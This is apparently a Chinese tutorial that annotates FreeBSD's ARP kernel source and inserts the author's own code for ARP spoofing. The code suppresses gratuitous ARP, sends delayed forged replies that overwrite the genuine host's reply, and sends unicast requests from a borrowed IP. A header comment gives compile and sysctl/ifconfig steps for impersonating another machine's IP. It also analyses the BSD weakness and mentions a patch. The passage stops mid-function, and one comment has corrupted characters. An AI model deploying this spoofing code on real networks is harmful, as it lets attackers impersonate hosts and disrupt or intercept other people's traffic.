ARP地址解析協議詳解及其漏洞分析

/*
 * 以太網解釋協議(ARP). 文件名:/sys/netinet/if_ether.c
 *      註釋:xie_minix    
 *一,函數入口:
* ARP有兩個入口:1
 * 由ether_input發出一軟中斷(見我的ethernet網絡代碼詳解一文),arpintr中斷例程被調用,檢查完數據後
 * 該中斷例程調用in_arpinput函數.
 * 入口2:
 * 由ether_output函數在查詢輸出的硬件地址時,調用arpresolve函數進行地址解析.
 * 所以,ARP基本上是和ether網輸出密切相關的.
 *二,相關的結構:
 * 關於他使用的結構方面,llinfo_arp是和路由相關的一個結構,ether_arp結構是一個遵循RFC826的一個ARP包的結構.
 *三,學習順序:
 * 在看本文的時候,一般從函數arpintr(中斷例程)開始看,緊接着看in_arpinput函數.再看看支撐函數arplookup後停止,這是第一入口.
 * arpresolve是第二入口的開始,他是解析地址的函數,如果解析不了,調用arprequest函數發送一ARP請求包,第二入口結束.
 * 關於arp_rtrequest函數和路由函數相關,作用是添加或刪除一ARP節點.如果看不懂,可到以後的路由函數講解時再瞭解.
 *四,ARP欺騙的核心內實現:
 * 在整個程序中,有hack------是我加入的代碼,一直到end------結束,大概有十來段這樣的代碼,是用來實現ARP欺騙,下面我簡要的講一
 * 講他的實現原理:
 * 在我們開機後,系統初始化階段,確切的說是在arp_ifinit初始函數被調用時,將發送一免費ARP,所謂免費,是指要尋找的IP地址是我自
 * 己的IP地址,那麼網絡上如果有和我相同的IP地址的機器(IP地址衝突),他就會根據我的這個ARP包中的發送源硬件地址應答一個ARP
 * 包給我,我的接收函數就能判斷是否有人和我的IP設置的是一樣的.初始化函數不但在開機後初始化時實行,而且在你執行ifconfig改變
 * IP地址時也會調用,如果要進行ARP欺騙,那麼你就不能發送一免費ARP包,要不然對方的機器會記錄下你的欺騙.這一點是其他的關於
 * ARP欺騙方式在用戶區域所不能達到的.在你的機器冒充另外一臺機器期間,會遇見兩種情況,第一種是:被冒充的機器發送一個ARP
 * 請求,因爲是廣播發送,所以你也接到了該請求,被請求的機器會應答一ARP,這時我們也要應答一ARP,不過要比真正的那臺機器晚一點
 * (在程序中我用的是DELAY延遲500毫秒,該數據可以進行調整,以適合你本地網絡中較慢的機器),他就在被冒充的機器上進行覆蓋前
 * 一個迴應,使得被冒充的機器認爲你就是他要找的機器,當然被冒充的機器緊接着將發送IP包給你的機器,由於你的IP層會判斷包的目的
 * IP地址(肯定目的IP不對,因爲被欺騙了),所以IP層會將他拋棄.第二種情況是:有其他的機器想和被欺騙的機器相聯繫,其他機器也將廣播
 * 一ARP請求,目的IP是被欺騙機器的IP,首先被欺騙主機會迴應一ARP,我們也和被欺騙主機一樣迴應一ARP,覆蓋被欺騙主機的迴應.
 * 五,漏洞的分析:
 * 目前,我所見到的BSD類操作系統都可能被欺騙,其原因是沒有判斷ARP請求方的目的硬件地址是否是來之於廣播地址,而我們進行的
 * 所有欺騙都是進行單播方式的請求.
 *六,解決方案:
 * 在程序中的patch到patch end部分是我的解決方案.主要是對ARP請求部分的目的硬件地址是否是廣播地址進行判斷,如果要使用,請
 * 把註釋去掉就行了.
 *七,編譯:
 *對於FreeBSD4.4版本,可直接拷貝覆蓋/sys/net/if_ether.c文件,對於當前版本,只要把hack-----到end-----之間的段粘貼到相應的地方.
 *本程序在4.4下已經編譯通過,由於實驗條件不行,實驗沒有在兩臺以上機器進行過,在這裏希望網友能幫忙測試,測試的方法是:
 *1.覆蓋原文件後,進行核心編譯.
 *2.重啓動後,執行:
 *     arp -d -a
 *     sysctl net.link.ether.inet.ctrlhack=1
 *     ifconfig     vr0   192.168.0.4  255.255.255.0
 *                      ^          ^                     ^
 *                  你的卡  你要冒充的IP     掩碼
 *    最好是把上面幾個命令放到批執行文件中執行.
 *3.用被冒充的機器去PING 其他機器,這時候有可能ICMP包能發出幾個,但應該立即沒有反應.
 *4.如果有什麼問題,大家可以把他記錄,併發布到BBS上,更希望能多測試幾種系統.
 *
 */


#include "opt_inet.h"             /*2個頭文件由編譯器在編譯操作系統核心時產生的一些常量*/
#include "opt_bdg.h"

#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/queue.h>  /*隊列操作*/
#include <sys/sysctl.h>
#include <sys/systm.h>
#include <sys/mbuf.h>   /*緩衝管理*/
#include <sys/malloc.h>   /*分配緩衝*/
#include <sys/socket.h> /*主要是sockaddr_in結構要用到*/
#include <sys/syslog.h> /*LOG宏用到,即日誌記錄*/

#include <net/if.h>        /*硬件接口使用的一些結構,if的意思是interface*/
#include <net/if_dl.h>   /*鏈路層的一些數據結構*/
#include <net/if_types.h>
#include <net/route.h>   /*和路由相關的函數*/
#include <net/netisr.h>  /*註冊中斷向量用到的函數*/
#include <net/if_llc.h>
#ifdef BRIDGE            /*如果定義了橋轉發*/
#include <net/ethernet.h>
#include <net/bridge.h>
#endif

#include <netinet/in.h>
#include <netinet/in_var.h>
#include <netinet/if_ether.h>

#include <net/iso88025.h>
/*hack:------------------------*/
#include <machine/clock.h>  /*因爲要使用DELAY()延遲函數*/

static int arphacklock=0;   /*全局變量用的鎖*/
struct in_addr gatewayip;   /*網關IP*/
struct in_addr oldip;       /*我機器老的IP地址*/
static int trueip=0; /*是否使用冒充IP發送ARP請求*/
static u_char ithardaddr[6];/*要冒充機器的硬件地址,在轉移到臨時緩衝之前由鎖來控制其寫*/
static int fromsubr=100;      /*實驗用,看看本機發出ARP請求是那個函數*/
/*end-------------------------*/

#define SIN(s) ((struct sockaddr_in *)s) /*強制轉化成sockaddr_in結構,即Internet地址結構,其中s一般是sockaddr結構*/
#define SDL(s) ((struct sockaddr_dl *)s)/*強制轉化成sockaddr_dl結構,即ethernet地址結構,其中s一般是sockaddr結構*/

SYSCTL_DECL(_net_link_ether);/*用於sysctl 用法如下:sysctl net.link.ether....=XXX, 
 SYSCTL_DECL是申明下面的SYSCTL_NODE將繼承的節點*/
SYSCTL_NODE(_net_link_ether, PF_INET, inet, CTLFLAG_RW, 0, "");/**/
/*
hack:
static int hackarp=0;
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, ctrlhack, CTLFLAG_RW,&hackarp, 0, "");
/*這方便你在用戶區可控制核心變量,用法如下:sysctl net.link.ether.inet.ctlhackarp=1  那麼變量hackarp就爲1了.
下面的程序會根據hack的真假判斷來進行欺騙

*/
/* 一些記時器的值 */
static int arpt_prune = (5*60*1); /* 每5分鐘過一遍列表,這個變量是由計時器使用,看看有沒有超時ARP結點,有就刪除他 */
static int arpt_keep = (20*60); /* 一旦解析了, 保持 20 分鐘 */
static int arpt_down = 20; /* 一旦公佈了down, 20秒不發送 */
/*對以上3個變量的控制*/
/*使用方法:sysctl net.link.ether.inet.prune_intvl=180  也就是把ARP定時期改爲了每3分鐘查一次ARP結點*/
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, prune_intvl, CTLFLAG_RW,
   &arpt_prune, 0, "");
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, max_age, CTLFLAG_RW, 
   &arpt_keep, 0, "");
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, host_down_time, CTLFLAG_RW,
   &arpt_down, 0, "");

#define rt_expire rt_rmx.rmx_expire /*這裏是放當前時間的,如果rtinit路由初始程序加入一IP路由,那麼把當前時間+20*60秒放進去,*/
/*arptimer函數會和當前時間(當前時間由時鐘每秒加1)比較,如果相等或比當前時間小,即到了或*/
/*該ARP結點時間過了20分鐘.即超時*/
/*這裏其實是真正的ARP列表*/
struct llinfo_arp {
LIST_ENTRY(llinfo_arp) la_le;/*單向列表宏,說明該結構是一單向的列表,尾巴爲0*/
struct rtentry *la_rt; /*和該結點相關的路由*/
struct mbuf *la_hold; /* 由於該地址正等待解釋,所以要發送的數據(mbuf鏈頭)指針暫時存放 */
long la_asked; /* 爲該地址發送了一共幾個ARP請求,如果到了5個,那麼暫時停止20秒*/
#define la_timer la_rt->rt_rmx.rmx_expire
};

static LIST_HEAD(, llinfo_arp) llinfo_arp;/*全局ARP鏈表及表頭,從這開始就可以遍歷整個ARP結點*/

struct ifqueue arpintrq = {0, 0, 0, 50};/*ARP請求隊列,在我的"ethernet網絡代碼詳解"中有說明,因爲我們要hack,所以要改大一些,100*/
static int arp_inuse, arp_allocated;/*這都是統計用的*/

static int arp_maxtries = 5; /*在解釋地址時重複發送ARP請求的包的次數*/
static int useloopback = 1; /* 在本地使用環回接口 */
static int arp_proxyall = 0;   /*ARP代理是否使用*/
/*對以上3個變量的控制*/
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, maxtries, CTLFLAG_RW,
   &arp_maxtries, 0, "");
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, useloopback, CTLFLAG_RW,
   &useloopback, 0, "");
SYSCTL_INT(_net_link_ether_inet, OID_AUTO, proxyall, CTLFLAG_RW,
   &arp_proxyall, 0, "");

static void arp_rtrequest __P((int, struct rtentry *, struct sockaddr *));/*添加或刪除一ARP節點,和路由有關*/
static void arprequest __P((struct arpcom *,                    /*發送一ARP請求,目的硬件地址是廣播地址*/
struct in_addr *, struct in_addr *, u_char *));
static void arpintr __P((void));                                      /*ARP軟中斷,由ether_input函數(if_ethersubr.c)調用*/
static void arptfree __P((struct llinfo_arp *));               /*釋放一ARP節點*/
static void arptimer __P((void *));                             /*定時查詢ARP節點是否超時*/
static struct llinfo_arp
*arplookup __P((u_long, int, int));              /*在路由表中查詢IP的路由,並返回該IP路由的相關的ARP節點信息*/
#ifdef INET
static void in_arpinput __P((struct mbuf *));      /*由ARP軟中斷調用,對進入的ARP包進行分析*/
#endif

/*
 * 定時程序.  該函數用來查看是否有ARP超時(20分鐘).有就清除他
 */
static void
arptimer(ignored_arg)
void *ignored_arg;
{
int s = splnet();/*鏈路層中所有對鏈表要操作的都要屏蔽網絡中斷*/
register struct llinfo_arp *la = llinfo_arp.lh_first;/*第一個ARP結點表,是一個單向鏈表,通過la->la_le.le_next鏈接到下一個*/
struct llinfo_arp *ola;/*臨時存放ARP界點用的*/

timeout(arptimer, (caddr_t)0, arpt_prune * hz);/*每格5分鐘查看一次(調用自己)*/
while ((ola = la) != 0) {/*沒有到鏈表尾巴就繼續循環*/
register struct rtentry *rt = la->la_rt;/*該ARP結點相關的路有表*/
la = la->la_le.le_next;/*while的循環可遍歷整個ARP結點表*/
if (rt->rt_expire && rt->rt_expire <= time_second)/*如果是非永久性ARP並且時間超時,在啓用了一個ARP結點時,*/
/*rt->rt_expire會設置成當前的time_second(系統內的秒)+20分鐘*/
/*然後time_second就滴答滴答的在走,當系統的time_second走了20*/
/*分鐘時候,就使rt->rt_expire和time_second相等了,等式成立.就...*/
arptfree(ola); /* 定時器期滿,清楚該ARP記錄,函數在後面 */
}
splx(s);/*開網絡中斷*/
}

/*
 * 當你在設置你的某塊網卡的IP時(如:ifconfig ...),
 */
static void
arp_rtrequest(req, rt, sa)
int req;/*是刪除,添加還是克隆一個路由(克隆路由是因爲到外網的IP都必須經過網關,也就是說,你的數據包發給網關就沒事了),*/
/*所以外網的IP的路由都是克隆網關的就OK了.*/
register struct rtentry *rt;
struct sockaddr *sa;
{
register struct sockaddr *gate = rt->rt_gateway;
register struct llinfo_arp *la = (struct llinfo_arp *)rt->rt_llinfo;
static struct sockaddr_dl null_sdl = {sizeof(null_sdl), AF_LINK};
static int arpinit_done;

if (!arpinit_done) {/*判斷是否建立了ARP節點隊列*/
arpinit_done = 1;
LIST_INIT(&llinfo_arp);/*建立ARP節點隊列*/
timeout(arptimer, (caddr_t)0, hz);/*啓動計時器*/
register_netisr(NETISR_ARP, arpintr);
/*我們來看看register_netisr函數,即設置中斷向量,NETISR_ARP是中斷號,arpintr中斷例程
int
register_netisr(num, handler)
int num;
netisr_t *handler;/* 中斷例程指針
{

if (num < 0 || num >= (sizeof(netisrs)/sizeof(*netisrs)) ) {/*中斷號不能小於0或大於中斷向量數組的最大下標*
printf("register_netisr: bad isr number: %d/n", num);
return (EINVAL);
}
netisrs[num] = handler;/*設置他,唯一調用他的是if_ethersubr.c中的ether_input函數(我是指ARP哦)*
return (0);            /*看一下sys/i386/isa/ipl.s(82行):文件中的.globl _netisrs定義爲32個長字的netisrs中斷向量數組.*
}
*/
}
if (rt->rt_flags & RTF_GATEWAY) /*如果是網關,返回*/
return;
switch (req) {

case RTM_ADD:/*添加一條路由*/
/*
 */
if ((rt->rt_flags & RTF_HOST) == 0 &&   /*不是主機路由且掩碼不是全1(即不是主機路由,主機路由隱含的掩碼是全1)*/
    SIN(rt_mask(rt))->sin_addr.s_addr != 0xffffffff)
rt->rt_flags |= RTF_CLONING;/*加克隆標誌,即外網的IP,使用克隆吧*/
if (rt->rt_flags & RTF_CLONING) {
/*
 * 有克隆標誌,即到外網,把網關的考過來就行了.
 */
rt_setgate(rt, rt_key(rt), /*既然是外網的IP,設置好他的路由的網關地址*/
(struct sockaddr *)&null_sdl);
gate = rt->rt_gateway;/*gate是一sockaddr結構,那麼他得到的是網關的硬件地址*/
SDL(gate)->sdl_type = rt->rt_ifp->if_type;/*不用去查SDL宏,看都能看出來,他是把sockaddr轉成sockaddr_dl結構.*/
SDL(gate)->sdl_index = rt->rt_ifp->if_index;/*想一想,if_type在IP路由會是什麼呢(當然還有IPX路由)*/
rt->rt_expire = time_second;/*看了上面哪個函數就知道了,這個路由開始計時,放入當前時間的秒值*/
break;
}
/* 發送一免費ARP的通告.免費ARP用於查看是否有人和自己的IP相沖突. */
if (rt->rt_flags & RTF_ANNOUNCE)
arprequest((struct arpcom *)rt->rt_ifp,   /*發送一ARP請求*/
    &SIN(rt_key(rt))->sin_addr,    /*看到吧,源IP地址和目的IP地址都是自己*/
    &SIN(rt_key(rt))->sin_addr,
    (u_char *)LLADDR(SDL(gate)));/*我的硬件地址*/
case RTM_RESOLVE:
if (gate->sa_family != AF_LINK ||
    gate->sa_len < sizeof(null_sdl)) {
log(LOG_DEBUG, "arp_rtrequest: bad gateway value/n");
break;
}
SDL(gate)->sdl_type = rt->rt_ifp->if_type;
SDL(gate)->sdl_index = rt->rt_ifp->if_index;
if (la != 0)
break; /*到這是因爲路由發生了改變*/
/*
 * 該路由可能來自克隆路由.
 */
R_Malloc(la, struct llinfo_arp *, sizeof(*la));/*分配一ARP節點所需的內存*/
rt->rt_llinfo = (caddr_t)la;/*使相關路由的ARP節點指針指向所分配的地方*/
if (la == 0) { /*一開始我覺得這裏有毛病,上面的那句應該放到該判斷的後面,並應該FREE掉分配的結構,但沒關係,清大家思考*/
log(LOG_DEBUG, "arp_rtrequest: malloc failed/n");
break;
}
arp_inuse++, arp_allocated++;/*統計用*/
Bzero(la, sizeof(*la));/*結構清0*/
la->la_rt = rt;/*設置ARP節點的相關路由回指針*/
rt->rt_flags |= RTF_LLINFO;/*在相關的路由中加上有ARP節點標誌*/
LIST_INSERT_HEAD(&llinfo_arp, la, la_le);/*把該ARP節點插入ARP節點鏈表中(隊列的插入操作)*/

#ifdef INET
/*
*廣播地址和多播地址,他們都是永久ARP
 */
if (IN_MULTICAST(ntohl(SIN(rt_key(rt))->sin_addr.s_addr))) {
ETHER_MAP_IP_MULTICAST(&SIN(rt_key(rt))->sin_addr,
       LLADDR(SDL(gate)));
SDL(gate)->sdl_alen = 6;/*硬件地址的長度,對rt(路由信息結構)的rt_gateway成員操作*/
rt->rt_expire = 0;/*0表示該ARP永不過期*/
}
if (in_broadcast(SIN(rt_key(rt))->sin_addr, rt->rt_ifp)) {/*rt_key(rt)是查找路由信息中所包含IP的硬件地址,屬路由函數*/
memcpy(LLADDR(SDL(gate)), etherbroadcastaddr, 6);
SDL(gate)->sdl_alen = 6;/*硬件地址的長度,對rt(路由信息結構)的rt_gateway成員操作*/
rt->rt_expire = 0;/*0表示該ARP永不過期*/
}
#endif

if (SIN(rt_key(rt))->sin_addr.s_addr ==
    (IA_SIN(rt->rt_ifa))->sin_addr.s_addr) {
rt->rt_expire = 0;/*置永久ARP標誌,即該ARP永不過期*/
Bcopy(((struct arpcom *)rt->rt_ifp)->ac_enaddr,  /*把本網卡的硬件地址放入路由的rt->rt_gateway中*/
LLADDR(SDL(gate)), SDL(gate)->sdl_alen = 6); /*記住:內核函數Bcopy和Memcpy都是內存拷貝,但參數方向不同*/
if (useloopback)
rt->rt_ifp = loif;

}
break;

case RTM_DELETE:/*刪除一ARP節點,當然也要對對應的路由進行相關的操作*/
if (la == 0)
break;
arp_inuse--;/*統計用*/
LIST_REMOVE(la, la_le);/*從鏈表中(ARP節點鏈表,即結構llinfo_arp)刪除一ARP節點*/
rt->rt_llinfo = 0;/*該路由所指向的ARP節點置空*/
rt->rt_flags &= ~RTF_LLINFO;/*去掉含有ARP節點標誌*/
if (la->la_hold)/*如果在該節點中還有未發送的mbuf,釋放掉*/
m_freem(la->la_hold);
Free((caddr_t)la);/*釋放該ARP節點結構佔用的內存*/
}
}

/*
 * 廣播一ARP請求:
 *  ac    要發送該ARP包的網卡(由以太網通用結構arpcom指向該卡的相關結構)
 * sip-  源IP地址
 * tip-  目的IP地址
 * enaddr 源以太網地址
 */
static void
arprequest(ac, sip, tip, enaddr)
register struct arpcom *ac;   /*以太網通用結構*/
register struct in_addr *sip, *tip;/*源和目的IP地址*/
register u_char *enaddr;/*發送ARP包的卡的硬件地址*/
{
register struct mbuf *m;/*mbuf鏈指針*/
register struct ether_header *eh;/*以太網頭部*/
register struct ether_arp *ea;  /*ARP頭部結構*/
struct sockaddr sa;/*在這沒用上,除非你在ISO協議中*/
static u_char llcx[] = { 0x82, 0x40, LLC_SNAP_LSAP, LLC_SNAP_LSAP,  /*用於ISO協議*/
   LLC_UI, 0x00, 0x00, 0x00, 0x08, 0x06 };

if ((m = m_gethdr(M_DONTWAIT, MT_DATA)) == NULL)/*該函數在mbuf.c中,建立一mbuf,其實他是MGETHDR(m, how, type);下面對該宏有詳細的解釋*/
return;
m->m_pkthdr.rcvif = (struct ifnet *)0;/*對於此語句,本人並沒有發現什麼有用的地方,不管在ether_output,還是在驅動程序的包輸出中,都沒有用上他*/
switch (ac->ac_if.if_type) {/*查看該卡所用的協議*/
case IFT_ISO88025:/*支持ISO協議,我們可以略去*/
m->m_len = sizeof(*ea) + sizeof(llcx);
m->m_pkthdr.len = sizeof(*ea) + sizeof(llcx);
MH_ALIGN(m, sizeof(*ea) + sizeof(llcx));
(void)memcpy(mtod(m, caddr_t), llcx, sizeof(llcx));

(void)memcpy(sa.sa_data, etherbroadcastaddr, 6);

(void)memcpy(sa.sa_data + 6, enaddr, 6);
sa.sa_data[6] |= TR_RII;
sa.sa_data[12] = TR_AC;
sa.sa_data[13] = TR_LLC_FRAME;
ea = (struct ether_arp *)(mtod(m, char *) + sizeof(llcx));
bzero((caddr_t)ea, sizeof (*ea));
ea->arp_hrd = htons(ARPHRD_IEEE802);
break;
case IFT_FDDI:
case IFT_ETHER:/*以太網協議和FDDI協議大體上相同*/

default:
m->m_len = sizeof(*ea);/*ARP結構大小*/
m->m_pkthdr.len = sizeof(*ea);
/*(下面的)此宏的意思是把m->m_data的指針進行調整(按32位對齊)
#define MH_ALIGN(m, len) do { /
(m)->m_data += (MHLEN - (len)) & ~(sizeof(long) - 1); /
} while (0)
*/
MH_ALIGN(m, sizeof(*ea));
ea = mtod(m, struct ether_arp *);/*重新定位ARP頭部指針()*/
eh = (struct ether_header *)sa.sa_data;
bzero((caddr_t)ea, sizeof (*ea));
eh->ether_type = htons(ETHERTYPE_ARP);
/*hack:------------------------*/
if ((hackarp==1) && (trueip==1))/*在發送請求包時,有兩種方法:1,發送原來老的IP的請求,目的硬件地址是廣播地址*/
{ /* 2,發送新的(冒充的)IP的請求,目的地址?嵌苑降撓布?刂?(在上面發送後,對方會迴應)*/
(void)memcpy(eh->ether_dhost, ithardaddr, 6); /* 只要迴應了,把對方的IP,硬件地址記錄下後,trueip設置爲1,再發送*/
}else{
/*end-------------------------*/
(void)memcpy(eh->ether_dhost, etherbroadcastaddr,/*發送ARP請求包到以太網絡的廣播地址*/
    sizeof(eh->ether_dhost));
/*hack:------------------------*/
}
/*end-------------------------*/
ea->arp_hrd = htons(ARPHRD_ETHER);/*0800是IP包,ARPHRD_ETHER是ARP包*/
break;
}
ea->arp_pro = htons(ETHERTYPE_IP);  /*IP類型*/
ea->arp_hln = sizeof(ea->arp_sha); /* 硬件地址長度 */
ea->arp_pln = sizeof(ea->arp_spa); /* 協議地址長度 */
ea->arp_op = htons(ARPOP_REQUEST);  /*ARP包的操作類型,即該出是請求*/
(void)memcpy(ea->arp_sha, enaddr, sizeof(ea->arp_sha));/*本卡的硬件地址*/
/*hack:------------------------*/
if (hackarp==1) {
if (trueip==1)/*當要發送冒充的IP時,*/
{
/*end-------------------------*/
(void)memcpy(ea->arp_spa, sip, sizeof(ea->arp_tpa));/*本卡的IP地址*/ 
/*hack:------------------------*/
trueip=0;
arphacklock=0;/*解鎖,之後ithardaddr變量可被操作*/
}else{
if (oldip.s_addr!=NULL)/*當然,這是用老的IP向廣播地址發ARP請求包*/
(void)memcpy(ea->arp_spa, &oldip, sizeof(ea->arp_tpa));
}
}else{
(void)memcpy(ea->arp_spa, sip, sizeof(ea->arp_tpa));/*這是正常的操作*/
}
/*end------------------------*/
(void)memcpy(ea->arp_tpa, tip, sizeof(ea->arp_tpa));/*目的地址IP*/
sa.sa_family = AF_UNSPEC;/*直接發送,在if_ethersubr.c中的if_output會判斷此標誌,有此標誌,if_output將不重新填充以太網頭部*/
sa.sa_len = sizeof(sa);
(*ac->ac_if.if_output)(&ac->ac_if, m, &sa, (struct rtentry *)0);/*由於在本地的路由中找不到該IP,所以,rtentry的指針爲0*/
}

/* 解析一IP地址到以太網地址,如果成功,目的地被填充.如果在ARP表中沒有,廣播一請求
 * 一但被解析了,被保留的mbuf再重新發送,返回值是1則說明目的地被填充,包將發送,0表示
 * 包被接管,或者現在或者將來傳送,在整個INET源代碼中,只有if_ethersubr.c中的if_output
 * 函數對他進行了調用
 */
int
arpresolve(ac, rt, m, dst, desten, rt0)
register struct arpcom *ac;
register struct rtentry *rt;
struct mbuf *m;
register struct sockaddr *dst;
register u_char *desten;
struct rtentry *rt0;
{
struct llinfo_arp *la = 0;/*定義一ARP節點指針*/
struct sockaddr_dl *sdl;/*定義一數據鏈路層地址結構,該結構屬於sockaddr的子集*/

if (m->m_flags & M_BCAST) { /* 廣播地址 */
(void)memcpy(desten, etherbroadcastaddr, sizeof(etherbroadcastaddr));/*把廣播的硬件地址返回給ether_output函數*/
return (1);
}
if (m->m_flags & M_MCAST) { /* 多播地址 */
ETHER_MAP_IP_MULTICAST(&SIN(dst)->sin_addr, desten);/*把多播的硬件地址返回給ether_output函數*/
return(1);
}
if (rt)/*如果以太網ether_output函數調用本函數時的rt(路由信息)不爲空*/
la = (struct llinfo_arp *)rt->rt_llinfo;/*那麼把路由中指向ARP節點的指針放到la中*/
if (la == 0) {/*la 是ARP地址表的入口*/
la = arplookup(SIN(dst)->sin_addr.s_addr, 1, 0);/*arplookup函數查找該IP,找到了就返回一ARP節點,沒找到就建立一ARP節點(因爲第2個參數爲1)*/
if (la)
rt = la->la_rt;/*利用llinfo_arp結構(即ARP節點)的回指針定位其路由表*/
}
if (la == 0 || rt == 0) {/*如果ARP節點還是空(沒找到),或者相關的路由表沒有*/
log(LOG_DEBUG, "arpresolve: can't allocate llinfo for %s%s%s/n",
inet_ntoa(SIN(dst)->sin_addr), la ? "la" : "",
rt ? "rt" : "");
m_freem(m);
return (0);
}
sdl = SDL(rt->rt_gateway);/*返回網關的硬件地址*/
/* 檢查地址族和長度是否可用,OK的話解釋地址,NOT的話就返回0給if_ethersubr.c中的if_output函數

 */
if ((rt->rt_expire == 0 || rt->rt_expire > time_second) &&/*如果是永久ARP或ARP未超時並且*/
sdl->sdl_family == AF_LINK && sdl->sdl_alen != 0) {   /*地址類型是硬件鏈路層地址,並且地址長度不爲0*/
bcopy(LLADDR(sdl), desten, sdl->sdl_alen);            /*那麼就拷貝該硬件地址到desten*/
return 1;                                             /*ether_output函數如果得到返回值1(成功),那他就知道*/
}                                                         /*他調用時的desten指針指向了正確的對方的硬件地址*/
/*
 * 如果接口不支持ARP(PPP等點對點網絡).
 */
if (ac->ac_if.if_flags & IFF_NOARP)
return (0);
/*
 * 先把要發送的數據指針臨時保存,等到發送ARP請求查詢包後,得到正確的對方硬件地址時再發送
 */
if (la->la_hold)               /*上次的mbuf還有沒發的嗎(也是因爲同樣的原因,但要發送的IP沒一直沒被解釋)*/
m_freem(la->la_hold);      /*釋放掉上次的包(一個mbuf鏈),因爲上次的地址可能找不到了*/
la->la_hold = m;    /*把這次的保存進去*/
if (rt->rt_expire) {           /*如果不是永久ARP節點*/
rt->rt_flags &= ~RTF_REJECT;
if (la->la_asked == 0 || rt->rt_expire != time_second) {/*不在同一秒鐘,即一秒鐘可發一次,5次後還沒解析,就停止20秒*/
rt->rt_expire = time_second;/*當前時間*/
if (la->la_asked++ < arp_maxtries)/*在解釋地址時重複發送ARP請求的包的次數,共5次*/
    arprequest(ac,&SIN(rt->rt_ifa->ifa_addr)->sin_addr,&SIN(dst)->sin_addr, ac->ac_enaddr);/*發送請求*/
else {
rt->rt_flags |= RTF_REJECT;/*爲了防止ARP泛洪,*/
rt->rt_expire += arpt_down;/*arpt_down=20秒,一旦公佈了down, 20秒不發送 */
la->la_asked = 0;/*一共可以詢問5次,從0次開始,上面有++*/
}

}
}
return (0);
}

/*
 * 當數據包在if_ethersubr.c中的ether_input函數處理後,如果查到源,目的地址後的
 * 2字節是ETHERTYPE_ARP時會產生一軟中斷,中斷向量指向此arpintr函數,實際上的意思
 * 是網絡上有一ARP包被我們的網卡接收了.就由arpint函數處理
 */
static void
arpintr()
{
register struct mbuf *m;
register struct arphdr *ar;
int s;
/*要理解下面的while循環,你必須看看我從if_ethersubr.c中的處理數據包到隊列的情況,
下面是我ctrl+v過來的:
---------------------------------------------------------------------------------------------
s = splimp();/*關網絡中斷*
if (IF_QFULL(inq)) {
      /*#原型是define IF_QFULL(ifq) ((ifq)->ifq_len >= (ifq)->ifq_maxlen)  隊列滿*

IF_DROP(inq);
/*原型是#define IF_DROP(ifq) ((ifq)->ifq_drops++)     丟棄數加1*

m_freem(m);
} else
IF_ENQUEUE(inq, m);
/*以下是原型,作用是把m(mbuf鏈)加入到隊列inq的尾巴
#define IF_ENQUEUE(ifq, m) { /
(m)->m_nextpkt = 0; /        mbuf鏈表的下一個鏈表爲結束,注意:不是mbuf鏈中的下一mbuf
if ((ifq)->ifq_tail == 0) /  如果隊列尾巴爲沒有,則該隊列沒初始化
(ifq)->ifq_head = m; /   初始化隊列頭爲M
else /                       有尾巴,即該隊列已經有mbuf
(ifq)->ifq_tail->m_nextpkt = m; /  當前隊列的尾巴的mbuf鏈首指針爲m 
(ifq)->ifq_tail = m; /        隊列的尾巴指向m(是一mbuf鏈首)
(ifq)->ifq_len++; /           隊列長度加1
}
*如果您對隊列,mbuf,mbuf鏈,mubf鏈首搞的稀裏糊塗的話,不要緊,我會寫一篇關於mbuf的文章
splx(s); /*開網絡中斷*
-----------------------------------------------------------------------------------------------
*/
while (arpintrq.ifq_head) {/*arpintrq就是上面的inq*/
/*
這裏我解釋一下arpintrq結構,該結構實際上是一ifqueue結構,在if_ether.h中定義如下:
struct ifqueue arpintrq;
那麼ifqueue又是什麼樣的呢?
在if_var.h中是這樣定義的:
struct ifqueue {
struct mbuf *ifq_head;          /* mbuf鏈(排在隊列的第一個)
struct mbuf *ifq_tail;  /* mbuf鏈(排在隊列的最後一個)  注意:記住了,是mbuf鏈,不是單個的mbuf
int ifq_len;                     /* 多少個鏈
int ifq_maxlen;                 /*最大容納mbuf鏈數,他有個初始值,由網卡驅動程序填寫,我見到的是5
int ifq_drops;                  /*和ifq_maxlen配合使用,當隊列放滿了即ifq_len>ifq_maxlen時,ifq_drops加1,
};                                  /*並且拋棄進來的mbuf鏈
*/
s = splimp();/*關中斷,凡是對隊列進行操作的都要*/
IF_DEQUEUE(&arpintrq, m);/*把隊列中的第一個mbuf鏈的指針放入m中
我們來看看這個宏
#define IF_DEQUEUE(ifq, m) { /              /*當然,這ifq是指arpintrq
(m) = (ifq)->ifq_head; /                 /* 第一個mbuf鏈放到m中
if (m) { /                              /*如果m指向空,在宏之外的函數會處理
if (((ifq)->ifq_head = (m)->m_nextpkt) == 0) / /*把該鏈的下一個鏈首放入隊列頭並判斷是否爲空
(ifq)->ifq_tail = 0; /      /*如果頭都爲空,那麼尾巴一定要置空,要不然...就全亂套了
(m)->m_nextpkt = 0; /  /*多此一舉,你們看看上面都判斷了爲空,這裏還要填空
(ifq)->ifq_len--; /    /* 長度減一
} /
}

*/
splx(s);/*操作完成,開中斷*/
if (m == 0 || (m->m_flags & M_PKTHDR) == 0)/*因爲上面的宏會返回空,所以在這裏要處理一下*/
panic("arpintr");

                if (m->m_len < sizeof(struct arphdr) &&
                    ((m = m_pullup(m, sizeof(struct arphdr))) == NULL)) {
/*注意上面這個if,他是先執行m->m_len<sizeof(struct arphdr),
也就是說如果mbuf鏈的第一個mubf的長度小於標準的arp頭部的話,有可能在這個mbuf中
只有arp頭的一部分,另外一部分通過調用m_pullup合併相鄰的這兩個mbuf看看是否有效,
根據統計,通常是無效的,這種情況在判斷IP頭的時候也會遇到.m_pullup是一大函數,以後我
會講一講
*/
log(LOG_ERR, "arp: runt packet -- m_pullup failed/n");/*記錄下來*/
continue;/*既然這個mbuf鏈是無意義的,那麼進行下一個while*/
}
ar = mtod(m, struct arphdr *);

if (ntohs(ar->ar_hrd) != ARPHRD_ETHER
    && ntohs(ar->ar_hrd) != ARPHRD_IEEE802) {
log(LOG_ERR,
    "arp: unknown hardware address format (0x%2D)/n",
    (unsigned char *)&ar->ar_hrd, "");
m_freem(m);/*釋放掉該mbuf鏈*/
